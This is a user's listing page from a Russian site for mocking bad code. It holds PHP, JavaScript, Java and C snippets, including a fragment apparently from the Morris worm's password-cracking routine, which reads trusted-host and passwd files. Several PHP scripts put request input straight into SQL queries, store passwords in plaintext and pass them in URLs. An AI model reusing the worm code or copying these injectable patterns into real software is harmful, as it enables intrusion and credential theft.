1. Список говнокодов пользователя Govnisti_Diavol

    Всего: 29

  2. PHP / Говнокод #12265

    +141

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    if(is_dir('install')|| is_dir('migrate')) {
            if (!file_exists(PATH.'/includes/config.inc.php')){
                header('location:/install/');
    			die();
            } else {
                include(PATH.'/core/messages/installation.html');
                die();
            }
        }

    Govnisti_Diavol, 10 Декабря 2012

    Комментарии (8)
  3. PHP / Говнокод #12257

    +140

    1. 1
    2. 2
    Здравствуйте, господа!
    Кто знает, как выяснить свободный порт виртуальной машины средствами PHP?

    Govnisti_Diavol, 06 Декабря 2012

    Комментарии (16)
  4. PHP / Говнокод #12246

    +37

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    <?php
    session_start();
    if(!empty($_SESSION['UserLogin']) or !empty($_SESSION['UserId']))
    {
      header('Location: user');
    }
    if(isset($_POST['UserName'])) 
    { 
      $UserName = $_POST['UserName']; 
      if($UserName == '') 
      {
       unset($UserName);
      } 
    }
    if(isset($_POST['UserEmail'])) 
    { 
      $UserEmail = $_POST['UserEmail']; 
      if($UserEmail == '') 
      {
       unset($UserEmail);
      } 
    } 
    if(isset($_POST['UserLogin'])) 
    { 
      $UserLogin = $_POST['UserLogin']; 
      if($UserLogin == '') 
      {
       unset($UserLogin);
      } 
    }
    if(isset($_POST['UserPassword'])) 
    { 
      $UserPassword = $_POST['UserPassword']; 
      if($UserPassword == '') 
      {
       unset($UserPassword);
      } 
    }
    if (empty($UserName) or empty($UserEmail) or empty($UserLogin) or empty($UserPassword))
    {
     header('Location: registration?error_code=1');
    }
    else
    {
      include("application/db.config.php");
      $UserLogin = stripslashes($UserLogin);
      $UserLogin = htmlspecialchars($UserLogin);
      $UserLogin = trim($UserLogin);
      $UserPassword = stripslashes($UserPassword);
      $UserPassword = htmlspecialchars($UserPassword);
      $UserPassword = trim($UserPassword);
      $SelectQuery = mysql_query("SELECT id FROM Users WHERE UserLogin ='$UserLogin'", $db);
      $QueryResult = mysql_fetch_array($SelectQuery);
      if(!empty($QueryResult['id']))
      {
        header('Location: registration?error_code=2');
      }
      else
      {
        $InsertQuery = mysql_query("INSERT INTO Users(UserName, UserSName, UserLogin, UserPassword, UserEmail, 
        UserPhone, UserStatus) VALUES('$UserName', 'Фамилия не указана', '$UserLogin', '$UserPassword', '$UserEmail', 'Телефон не указан', 'Статус не указан')");
        if($InsertQuery == true)
        {
          header("Location: action_status?reg_code=good&UserLogin=$UserLogin&UserPassword=$UserPassword");
        }
        else
        {
          header('Location: registration?error_code=3'); 
        }
      }
      
    }
    ?>

    Извержение.

    Govnisti_Diavol, 04 Декабря 2012

    Комментарии (19)
  5. JavaScript / Говнокод #12161

    +150

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    (function($) {
      core = {
        verticalOffset: -390,
        horizontalOffset: 0,
        repositionOnResize: true,
        overlayOpacity: 0.2,
        overlayColor: '#ffffff',
        draggable: true,
        send: 'Отправить',
        ok: 'Продолжить',
        close: 'Закрыть',
        save: 'Сохранить',
        cancel: 'Отмена',
        dialogClass: null,
        alert: function(message, title, callback) {
          if( title == null ) title = 'Alert';
          this._show_mess(title, message, null, 'alert', function(result) {
            if(callback) callback(result);
          });
        },
        confirm: function(message, title, callback) {
          if(title == null) title = 'Подтверждение действия';
            this._show_mess(title, message, null, 'confirm', function(result) {
              if(result) callback(result);
            });
        },
        prompt: function(message, value, title, callback) {
          if( title == null ) title = 'Prompt';
            this._show_mess(title, message, value, 'prompt', function(result) {
            if( callback ) callback(result);
          });
        },
        message: function(title){
          if(title == null) title = '';
          this._show_mess(title, '', '', 'message');
        },
        box_close: function() {
          $('#popup_container').fadeOut(200, function(){
            $('#popup_overlay, #popup_container').remove();
          });
        },
        _show_mess: function(title, msg, value, type, callback) {
          if ($('#popup_container').length > 0) {
            $('#popup_overlay, #popup_container').remove();
          }
          var html = "<div id='popup_container'>" +
            "<table>" +
              "<tbody>" +
              "<tr>" +
                "<td class='tl'/><td class='b'/><td class='tr'/>" +
              "</tr>" +
              "<tr>" +
                "<td class='b'/>" +
                "<td class='body'>" +
                  "<div class='popup_title_wrap'><div class='popup_x_button'/><div id='popup_title'/></div>" +
                  "<div id='popup_progress'><img src='/images/progress.gif' alt='Загрузка...' /></div>" +
                  "<div id='popup_content'/>" +
                  "<div id='popup_message'/>" +
                  "<div id='popup_panel'>" +
                    "<span class='ajax-loader'>&nbsp;</span>" +
                    "<div id='popup_info'/>" +
                    "<input id='popup_ok' type='button' class='button_yes' value='" + this.ok + "'/>" +
                    "<input id='popup_cancel' type='button' class='button_no' value='" + this.cancel + "'/>" +
                    "<input id='popup_close' type='button' class='button_no' value='" + this.close + "'/>" +
                  "</div>" +
                "</td>" +
                "<td class='b'/>" +
              "</tr>" +
              "<tr>" +
                "<td class='bl'/><td class='b'/><td class='br'/>" +
              "</tr>" +
              "</tbody>" +
            "</table>" +
          "</div>";
    
          this._overlay('show');
          $('body').append(html);
          $('#popup_panel input').hide();
          if(this.dialogClass) {
            $('#popup_container').addClass(this.dialogClass);
          }
          var pos = (($.browser.msie && parseInt($.browser.version) <= 6 )||(($(window).height()<480)||($(window).width()<700))) ? 'absolute' : 'fixed';
          $('#popup_container').css({
            position: pos,
            zIndex: 999,
            padding: 0,
            margin: 0
          });

    Govnisti_Diavol, 20 Ноября 2012

    Комментарии (6)
  6. PHP / Говнокод #12145

    +46

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    public function custom_result_object($class_name)
    	{
    		if (array_key_exists($class_name, $this->custom_result_object))
    		{
    			return $this->custom_result_object[$class_name];
    		}
    
    		if ($this->result_id === FALSE OR $this->num_rows() == 0)
    		{
    			return array();
    		}
    
    		// add the data to the object
    		$this->_data_seek(0);
    		$result_object = array();
    
    		while ($row = $this->_fetch_object())
    		{
    			$object = new $class_name();
    
    			foreach ($row as $key => $value)
    			{
    				$object->$key = $value;
    			}
    
    			$result_object[] = $object;
    		}
    
    		// return the array
    		return $this->custom_result_object[$class_name] = $result_object;
    	}
    
    	// --------------------------------------------------------------------
    
    	/**
    	 * Query result.  "object" version.
    	 *
    	 * @access	public
    	 * @return	object
    	 */
    	public function result_object()
    	{
    		if (count($this->result_object) > 0)
    		{
    			return $this->result_object;
    		}
    
    		// In the event that query caching is on the result_id variable
    		// will return FALSE since there isn't a valid SQL resource so
    		// we'll simply return an empty array.
    		if ($this->result_id === FALSE OR $this->num_rows() == 0)
    		{
    			return array();
    		}
    
    		$this->_data_seek(0);
    		while ($row = $this->_fetch_object())
    		{
    			$this->result_object[] = $row;
    		}
    
    		return $this->result_object;
    	}

    Govnisti_Diavol, 17 Ноября 2012

    Комментарии (14)
  7. PHP / Говнокод #12141

    +39

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    <?php
    session_start();
    include ("system/db.config.php");
         if (empty($_SESSION['login']) or empty($_SESSION['id']))
               {
                  header("Location: index.php");
               }
               else
              {
                 //Выясняем, кто зашел сюда, если админ, удаляем юзера, если нет - перекидываем в список пользователей
                 $fResult = mysql_query("SELECT user_level FROM users WHERE id=".$_SESSION['id'], $db);
                 $fRow = mysql_fetch_array($fResult);
                 if($fRow['user_level'] == 1)
                 {
                     $DelTenderId = $_GET['id'];
                     $DellFiled = mysql_query("SELECT file_link FROM tenders WHERE id=".$DelTenderId);
                     $isdLnk = mysql_fetch_array($DellFiled);
                     $delPater = "uploads/".$isdLnk['file_link'];
                     unlink($delPater);
                     mysql_query("DELETE FROM tenders WHERE id =".$DelTenderId);
                     header("Location: tenders_list.php"); 
                 }
                 else
                 {
                   header("Location: home.php"); 
                 }
             }
    ?>

    Ну как то так....

    Govnisti_Diavol, 17 Ноября 2012

    Комментарии (10)
  8. Java / Говнокод #10175

    +66

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    package util;
    
    import play.db.jpa.JPA;
    import play.db.jpa.Model;
    import play.mvc.Http;
    import play.mvc.Router;
    import play.mvc.Scope;
    
    import javax.persistence.Query;
    import javax.persistence.EntityManager;
    import java.lang.reflect.Field;
    import java.util.Arrays;
    import java.util.HashMap;
    import java.util.List;
    import java.util.Map;
    
    /**
     * Page of results for model classes (because paginate module looks too buggy).
     * It is not generic solution but it fits the needs.
     * @author <a href="mailto:[email protected]">Roman Kashitsyn</a>
     */
    public class Page<M extends Model> implements PageBuilder<M> {
        
        public static final int MAX_PAGE_SIZE = 20;
        public static final int DEFAULT_PAGE_SIZE = 10;
        public static final int DEFAULT_PAGE_NUMBER = 1;
    
        public static final String PAGE_NUMBER_PARAM = "page";
        public static final String PAGE_SIZE_PARAM = "psize";
        public static final String ORDER_PARAM = "order";
        public static final String ORDER_BY_PARAM = "orderBy";
        
        private static final String ASC = "asc";
        private static final String DESC = "desc";
        private static final List<String> ALLOWED_ORDERS = Arrays.asList(ASC, DESC);
    
        private int pageSize = DEFAULT_PAGE_SIZE;
        private int pageNumber = DEFAULT_PAGE_NUMBER;
        private int total;
        private String orderBy;
        private String order;
        private final Http.Request request;
        private final Map<String, Object> params;
        private List<M> results;
        private final Class<M> clazz;
    
        public class SizeSwitcher {
            private final Map<String, Object> params;
    
            private SizeSwitcher() {
                // making defensive copy
                params = new HashMap<String, Object>(Page.this.params);
                // list of different size should always begin with 1 page
                params.put(PAGE_NUMBER_PARAM, 1);
            }
    
            public String urlToSwitchSize(int newSize) {
                params.put(PAGE_SIZE_PARAM, newSize);
                return Router.reverse(Page.this.request.action, params).url;
            }
    
            public int currentSize() {
                return Page.this.pageSize;
            }
        }
    
        private Page(Class<M> clazz) {
            this.clazz = clazz;
            request = Http.Request.current();
            params = new HashMap<String, Object>(Scope.Params.current().allSimple());
        }
        
        public static <M extends Model> PageBuilder<M> of(Class<M> modelClass) {
            return new Page<M>(modelClass);
        }
        
        public PageBuilder<M> withParams(Map<?, ?> params) {
            pageNumber = limit(params.get(PAGE_NUMBER_PARAM), pageNumber, Integer.MAX_VALUE);
            pageSize = limit(params.get(PAGE_SIZE_PARAM), pageSize, MAX_PAGE_SIZE);
            Object orderByParam = params.get(ORDER_BY_PARAM);
            if (orderByParam != null) {
                orderBy(getSingleValue(orderByParam).toString());
            }
            Object orderParam = params.get(ORDER_PARAM);
            if (orderParam != null) {
                String proposedValue = getSingleValue(orderParam).toString();
                if (ALLOWED_ORDERS.contains(proposedValue)) {
                    order = getSingleValue(orderParam).toString();
                }
            }
            return this;
        }
    
        public PageBuilder<M> withNumber(int num) {
            this.pageNumber = num;
            return this;
        }

    Govnisti_Diavol, 03 Мая 2012

    Комментарии (14)
  9. JavaScript / Говнокод #10047

    +152

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    var nav = null;
    
    function init_dev_steps(step) {
      this.step = step;
      this.steps_glass = ge('dev_steps_s');
      this.steps_glass_c = geByClass('content', this.steps_glass)[0];
      this.steps_wrap = ge('dev_steps_c');
      this.steps_content = geByClass('content', this.steps_wrap)[0];
      this.anim = Fx.Transitions.sineInOut;
    
      this.move = function(to_step) {
        if (to_step == (this.moving ? this.m_to : this.step)) return;
        var moving = true;
        if (!this.moving) {
          moving = false;
          this.m_height = this.steps_wrap.offsetHeight - 2;
          this.m_g = (this.step - 1) * 140;
          this.m_c = (1 - this.step) * 540;
          this.m_cur = this.step;
          this.tick = 0;
          var self = this;
          this.moving = setInterval(function() {
            self.m_time += 13;
            if (self.anim_h) {
              
              self.tick += 1;
              
              if (self.tick == 3) {
                if (self.m_time > self.h_time) {
                  self.m_height = self.m_to_height;
                } else {
                  self.m_height = self.anim(self.m_time, self.m_from_height, self.m_to_height - self.m_from_height, self.h_time);
                }
                self.steps_wrap.style.height = self.m_height + 'px';
                self.tick = 0;
              }
            
              if (self.m_time > self.h_time) {
                self.m_g = self.m_to_g;
                self.m_c = self.m_to_c;
                self.anim_h = false;
                self.anim_v = (self.m_to_height != self.m_height);
                self.m_time -= self.h_time;
              } else {
                self.m_g = self.anim(self.m_time, self.m_from_g, self.m_to_g - self.m_from_g, self.h_time);
                self.m_c = self.anim(self.m_time, self.m_from_c, self.m_to_c - self.m_from_c, self.h_time);
                if (self.diff) self.steps_glass.style.width = self.anim(self.m_time, self.from, self.diff, self.h_time)+'px';
              }
              self.steps_content.style.marginLeft = self.m_c + 'px';
    
              self.steps_glass.style.marginLeft = self.m_g + 'px';
              self.steps_glass_c.style.marginLeft = (-self.m_g - 2) + 'px';
    
              self.m_cur = Math.floor(self.m_g / 140) + 1;
    
            }
            if (!self.anim_h) {
              self.step = self.m_to;
              //hab.setHash('devstep' + this.step);
              location.hash = 'devstep' + self.step;
              self.steps_wrap.style.height = self.m_to_height + 'px';
              clearInterval(self.moving);
              self.moving = false;
              if (self.step == 3 && ge('inv_password')) focus('inv_password');
            }
          }, 13);
        }
    
    
    ...

    Govnisti_Diavol, 26 Апреля 2012

    Комментарии (0)
  10. C++ / Говнокод #9961

    +992

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    /* Dover */
    
    #include "worm.h"
    #include <stdio.h>
    #include <ctype.h>
    #include <strings.h>
    #include <pwd.h>
    
    int cmode;
    extern struct hst *h_name2host();
    
    struct usr {					/* sizeof(usr) == 58 */
        char *name, *o4, *o8, *o12;
        char passwd[14];				/* offset 16 */
        char decoded_passwd[14];			/* 30 */
        short pad;
        char *homedir;				/* offset 46 */
        char *gecos;				/* offset 50 */
        struct usr *next;				/* offset 54 */
    };
    
    /* Ahhh, I just love these names.  Don't change them for anything. */
    static struct usr *x27f28, *x27f2c;
    
    /* Crack some passwords. */
    cracksome()
    {
        switch (cmode){
        case 0:
    	strat_0();
    	return;					/* 88 */
        case 1:
    	strat_1();
    	return;
        case 2:
    	try_words();
    	return;
        case 3:
    	dict_words();
    	return;
        }
    }
    
    /* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */
    strat_0()					/* 0x5da4 */
    {
        FILE *hosteq;
        char scanbuf[512];
        char fwd_buf[256];
        char *fwd_host;
        char getbuf[256];
        struct passwd *pwent;
        char local[20];
        struct usr *user;
        struct hst *host;				/* 1048 */
        int check_other_cnt;			/* 1052 */
        static struct usr *user_list = NULL;
    
        hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
        if (hosteq != NULL) {			/* 292 */
    	while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
    	    host = h_name2host(scanbuf, 0);
    	    if (host == 0) {
    		host = h_name2host(scanbuf, 1);
    		getaddrs(host);
    	    }
    	    if (host->o48[0] == 0)		/* 158 */
    		continue;
    	    host->flag |= 8;
    	}
    	fclose(hosteq);				/* 280 */
        }
    
        hosteq = fopen(XS("/.rhosts"), XS("r"));
        if (hosteq != NULL) {			/* 516 */
    	while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
    	    if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
    		continue;
    	    host = h_name2host(scanbuf, 0);
    	    while (host == 0) {			/* 436, 474 */
    		host = h_name2host(scanbuf, 1);
    		getaddrs(host);
    	    }
    	    if (host->o48[0] == 0)
    		continue;
    	    host->flag |= 8;
    	}
    	fclose(hosteq);
        }
    
        /* look through the passwd file, checking for contact with others every
         * tenth entry. */
        setpwent();
        check_other_cnt = 0;					/* 522 */
        while ((pwent = getpwent()) != 0) {		/* 526, 1124 */
    	if ((check_other_cnt % 10) == 0)
    	    other_sleep(0);
    	check_other_cnt++;
    	sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir);
    	hosteq = fopen(fwd_buf, XS("r"));...

    Govnisti_Diavol, 16 Апреля 2012

    Комментарии (8)
  11. PHP / Говнокод #9946

    +149

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    $USER_ID = $_GET['user_id']; 
          $API_METHOD = $_GET['method']; 
          
          $Errors = array('Error#001' => 'Undefined data in request!');
          
          switch($API_METHOD)
          {
            case 'get_user_name_by_id':
              echo EncodeJSON(UserAPI::GetUserNameByID($USER_ID));
              break;  
              
            case 'get_user_status_by_id':
              echo EncodeJSON(UserAPI::GetUserStatusByID($USER_ID));
              break;
                
            default:
              echo $Errors['Error#001'];
              break; 
          }
            class UserAPI //test
            {
               function GetUserNameByID($ID)
               {
                  $SqlQuery = mysql_query("SELECT displayname FROM engine4_users WHERE user_id='$ID'");
                  $Response = mysql_fetch_array($SqlQuery);
                  $Result = array('UserName'=>$Response['displayname']);
                  return $Result;
               }
               
               function GetUserStatusByID($ID)
               {
                  $SqlQuery = mysql_query("SELECT status FROM engine4_users WHERE user_id='$ID'");
                  $Response = mysql_fetch_array($SqlQuery);
                  $Result = array('UserStatus'=>$Response['status']);
                  return $Result; 
               }
            }
            
            function EncodeJSON($arr) {
            $parts = array();
            $is_list = false;
            
            if (!is_array($arr)) return;
            if (count($arr)<1) return '{}';
            $keys = array_keys($arr);
            $max_length = count($arr); 
                    
            if(($keys[0] == 0) and ($keys[$max_length] == $max_length)) {
                $is_list = true;
                for($i=0; $i<count($keys); $i++) { 
                    if($i != $keys[$i]) { 
                        $is_list = false; 
                        break;
                    }
                }
            }
            foreach($arr as $key=>$value) {
                if(is_array($value)) { 
                    if($is_list) $parts[] = array2json($value);
                    else $parts[] = '"' . $key . '":' . array2json($value);
                } else {
                    $str = '';
                    if(!$is_list) $str = '"' . $key . '":';
                    if(is_numeric($value)) $str .= $value; 
                    elseif($value === false) $str .= 'false'; 
                    elseif($value === true) $str .= 'true';
                    else $str .= '"' . addslashes($value) . '"';
                    $parts[] = $str;
                }
            }
            $json = implode(',',$parts);
            if($is_list) return '[' . $json . ']';
            return '{' . $json . '}';
        }

    Удивительное рядом.

    Govnisti_Diavol, 14 Апреля 2012

    Комментарии (5)